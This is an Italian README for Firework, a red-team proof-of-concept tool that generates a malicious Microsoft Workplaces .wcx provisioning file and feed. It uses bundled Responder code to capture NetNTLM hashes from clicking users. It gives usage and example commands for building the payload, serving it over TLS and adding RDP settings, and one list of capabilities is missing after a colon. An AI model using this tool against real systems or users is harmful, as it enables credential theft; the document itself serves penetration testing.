
Firework è uno strumento proof of concept per interagire con Microsoft Workplaces creando file validi necessari per il processo di provisioning.
⚠️ NOTA: Questo strumento non è più in manutenzione attiva.
Firework è uno strumento proof of concept per interagire con Microsoft Workplaces creando file validi richiesti per il processo di provisioning. Lo strumento include anche del codice di Responder per sfruttare la sua capacità di catturare hash NetNTLM da un sistema che effettua il provisioning di un feed Workplace tramite esso.
Questo strumento può essere utilizzato come parte di un penetration test o di un esercizio red team per creare un payload .wcx (e il feed associato) che, se cliccato, potrebbe essere utilizzato per:
Leggi il blog di SpiderLabs per un riepilogo e una guida più dettagliati.
$ pip install -r requirements.txt
.-:::::'::::::::::.. .,::::::.:: . .::: ... :::::::.. ::: .
;;;'''' ;;;;;;;``;;;; ;;;;''''';;, ;; ;;;'.;;;;;;;. ;;;;``;;;; ;;; .;;,.
[[[,,== [[[ [[[,/[[[' [[cccc '[[, [[, [[',[[ \[[,[[[,/[[[' [[[[[/'
`$$$"`` $$$ $$$$$$c $$"""" Y$c$$$c$P $$$, $$$$$$$$$c _$$$$,
888 888 888b "88bo,888oo,__ "88"888 "888,_ _,88P888b "88bo,"888"88o,
"MM, MMM MMMM "W" """"YUMMM "M "M" "YMMMMMP" MMMM "W" MMM "MMP"
usage: firework.py [-h] -c COMPANY -u URL -a APP -e EXT -i ICON [-l LISTEN]
[-r RDP] [-d DOMAIN] [-n USERNAME] [-p PASSWORDHASH]
[-t CERT] [-k KEY]
WCX workplace tool
optional arguments:
-h, --help show this help message and exit
-c COMPANY, --company COMPANY
Company name
-u URL, --url URL Feed URL
-a APP, --app APP App Name
-e EXT, --ext EXT App Extension
-i ICON, --icon ICON App Icon
-l LISTEN, --listen LISTEN
TLS Web Server Port
-r RDP, --rdp RDP RDP Server
-d DOMAIN, --domain DOMAIN
RDP Domain
-n USERNAME, --username USERNAME
RDP Username
-p PASSWORD, --password PASSWORD
RDP Password
-t CERT, --cert CERT SSL cert
-k KEY, --key KEY SSL key
Esempio base:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico
Il server web integrato si avvierà sulla porta 443 se cert.crt e key.pem sono presenti nella directory corrente. Questo forzerà una richiesta NTLM con responder. Se questi file non sono presenti, lo strumento scriverà tutti i file nella directory locale per il tuo hosting personale.
Se desideri avviare il server web integrato su una porta alternativa, usa il flag -l come sotto:
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -l 8443
Puoi anche aggiungere alcune personalizzazioni al file .rdp che viene servito.
Nota: Le password memorizzate nei file .rdp vengono probabilmente ignorate in una configurazione predefinita.
python ./firework.py -c EvilCorp -u https://example.org/ -a Firework -e .fwk -i ./firework.ico -r dc.corp.local -d corp.local -n admin -p <crypt password>
Dopo aver eseguito lo strumento, 'payload.wcx' verrà scritto nella directory corrente. Questo file è ciò che, quando cliccato, avvia il processo di provisioning.
Firework
Creato da David Middlehurst Copyright (C) 2018 Trustwave Holdings, Inc.
Questo programma è software libero: puoi ridistribuirlo e/o modificarlo secondo i termini della GNU General Public License pubblicata dalla Free Software Foundation, versione 3 della Licenza, o (a tua scelta) qualsiasi versione successiva.
Questo programma è distribuito nella speranza che sia utile, ma SENZA ALCUNA GARANZIA; senza neppure la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO. Vedere la GNU General Public License per maggiori dettagli.